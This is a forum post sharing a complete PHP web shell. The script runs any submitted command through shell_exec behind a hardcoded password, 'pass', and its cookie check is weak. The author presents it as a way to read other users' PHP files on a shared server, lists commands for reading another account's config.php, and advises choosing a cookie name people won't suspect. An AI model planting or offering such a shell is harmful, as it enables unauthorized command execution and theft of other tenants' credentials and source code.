Shell execution script

[unclekyky]

just a really simple, somewhat pointless, script that _can_ be used to view other peoples PHP files (on the same server).

im sharing it to demonstrate a simple authentication method, highlighting php files, and using shell_exec.

some usefull linux shell comands are:
ls /home/bob/public_html/
cat /home/bob/public_html/config.php

the script should work as is with the password "pass" (no quotes).

<?php
// what is the password?
$pass = 'pass';
// cookie name - consider changing this to something that people won't suspect
$cookie_name = 'wjcookie';
// md5() the password
$md5_pass = md5($pass);

// checks to see if the cookie is set
if (!isset($_COOKIE[$cookie_name]))
{
	//if the cookie isn't set and the form hasn't been submitted: echo the form
	if (!isset($_POST['conf']))
	{
		echo "Password: <form action='{$_SERVER['PHP_SELF']}' method='post'>
				<input type='password' name='password'><br />
				<input type='hidden' name='conf'>
				<input type='submit'>
				</form>";
		die();
	}
	//if the cookie isn't set and the form has been submitted: check to see if the passwords match
	else 
	{
		if ($_POST['password'] == $pass)
		{
			setcookie($cookie_name, $md5_pass, time()+3600, '/');
		}
		else 
		{
			die('Wrong password.');
		}
	}
}
// if the cookie is set but the passwords don't match, then die
if (isset($_COOKIE[$cookie_name]))
{
	if ($_COOKIE[$cookie_name] != $md5_pass)
	{
		die("Invalid cookie information.");
	}
}
// if the passwords in the cookie match echo the form for the shell command
echo "<h2>Shell Execution Script</h2>
		<form method='post' action='{$_SERVER['PHP_SELF']}'>
		<input type='text' name='input' size='90'><br />
		<input type='submit'>
		</form>
		<br />";
// die if the form hasn't been submitted
if (!isset($_POST['input']))
{
	die();
}
// get the output from the command that was executed
$output = shell_exec($_POST['input']);
// this checks to see if the file is PHP then highlights it.
if (preg_match("/<?php/i", $output) || preg_match('/\.php/i', $_POST['input']))
{
	highlight_string($output);
	die();
}
// if not PHP then it echos it out to the screen
echo nl2br(htmlspecialchars($output));
// command wasn't successfull
if ($output == NULL)
{
	echo "No output.";
}
?>